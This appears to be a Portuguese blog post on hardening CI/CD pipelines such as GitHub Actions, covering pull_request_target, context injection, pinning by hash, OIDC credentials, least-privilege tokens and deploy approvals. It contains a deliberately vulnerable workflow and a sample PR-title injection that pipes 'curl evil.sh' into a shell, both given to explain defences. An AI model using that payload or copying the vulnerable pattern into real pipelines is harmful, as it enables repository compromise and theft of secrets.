Blog

Segurança no pipeline de CI/CD.

Pense em quem tem mais poder na sua empresa.

Não é o admin da nuvem. É o pipeline: ele lê todo o código, guarda as credenciais de produção, constrói o artefato que vai pro ar e tem permissão pra fazer o deploy sozinho.

E, diferente da aplicação, ele quase nunca é revisado com olhar de segurança. O arquivo de workflow entra em PR e todo mundo aprova sem ler, porque é “configuração”.

O ataque mais fácil: PR de fora

Se o repositório é público ou aceita contribuição, pull_request_target é a armadilha clássica.

Ele existe pra dar acesso a segredo em PR de fork, e roda o workflow no contexto do repositório base com o código do fork. Qualquer pessoa abre um PR alterando um script que o pipeline executa, e o script roda com os seus segredos.

# perigoso: código de terceiro com acesso a segredo
on: pull_request_target
jobs:
  test:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # código não confiável
      - run: pnpm install && pnpm test                      # executa com segredos

A regra: workflow que roda código de PR não confiável não pode ter acesso a segredo. Use pull_request normal, sem segredo, e faça o que precisa de credencial num workflow separado, disparado depois da revisão humana.

Injeção via contexto

Essa surpreende quase todo mundo.

- run: echo "PR: ${{ github.event.pull_request.title }}"

O título do PR é controlado por quem abre. A expressão é interpolada como texto antes do shell executar. Um título com "; curl evil.sh | sh; # executa.

O mesmo vale pra nome de branch, corpo de issue, mensagem de commit e nome de autor.

A correção é passar por variável de ambiente, onde o shell trata como dado:

- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR: $TITLE"

Fixe as ações por hash

- uses: actions/checkout@v4              # tag, mutável
- uses: actions/checkout@8f4b7f8...      # commit, imutável

Tag é um ponteiro. Quem controla o repositório da ação pode movê-la pra outro commit, e a sua próxima execução roda código diferente sem nenhuma mudança do seu lado.

Já aconteceu com ação popular. Fixar por hash de commit e deixar o Renovate atualizar com PR é a prática que fecha isso, e ela também é auditável: dá pra saber exatamente o que rodou em cada build.

Vale o mesmo pra imagem base de container. node:20-alpine hoje e daqui a seis meses são coisas diferentes.

Credencial de longa duração é o problema

Chave de acesso da nuvem guardada como segredo do repositório é a configuração mais comum e a pior.

Ela não expira, funciona de qualquer lugar, e quem conseguir extrair uma vez tem acesso permanente.

A substituição é federação de identidade: o provedor de CI emite um token de curta duração, a nuvem valida a origem e devolve credencial temporária.

permissions:
  id-token: write
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@<hash>
    with:
      role-to-assume: arn:aws:iam::123456789012:role/deploy
      aws-region: us-east-1

Nenhum segredo guardado. A credencial vale minutos e só funciona a partir daquele repositório e daquele branch, se a política de confiança estiver bem escrita.

O detalhe que estraga: uma política de confiança com repo:empresa/*:* permite que qualquer repositório e qualquer branch da organização assuma aquele papel. Restrinja ao repositório e ao ambiente específicos.

Permissão mínima no token do próprio CI

O token do workflow costuma vir com permissão de escrita por padrão.

permissions:
  contents: read        # padrão restritivo no topo

E amplie só no job que precisa. Um workflow de teste não precisa poder escrever no repositório, e um comprometimento nele deixa de virar commit malicioso.

Separe construir de implantar

O job que constrói executa código de terceiro: dependências, scripts de build, ferramentas. Ele é o mais exposto.

O job que implanta tem as credenciais de produção. Ele deveria executar o mínimo possível.

Juntar os dois significa que qualquer dependência comprometida no build alcança produção. Escrevi sobre o vetor de dependência em ataque via dependência.

A separação: build produz um artefato assinado, com SBOM. Deploy consome o artefato pelo hash, sem instalar nada.

Ambiente com aprovação

Deploy em produção deve exigir aprovação humana, e isso é configuração, não combinado.

jobs:
  deploy-prod:
    environment:
      name: production        # exige revisor configurado

Isso também é o que impede que um comprometimento do pipeline vire deploy imediato. Existe uma pessoa no caminho.

O que auditar hoje

Uma passada de trinta minutos que costuma render:

Existe algum pull_request_target com checkout do código do PR? Alguma interpolação de github.event dentro de run? Alguma ação referenciada por tag em vez de hash? Alguma credencial de longa duração nos segredos? O token do workflow tem escrita por padrão? O deploy de produção tem aprovação?

Cada resposta ruim é um caminho direto pra produção, e nenhum deles aparece em teste de invasão de aplicação, porque o pentest olha o sistema, não o pipeline.

← Voltar pro blog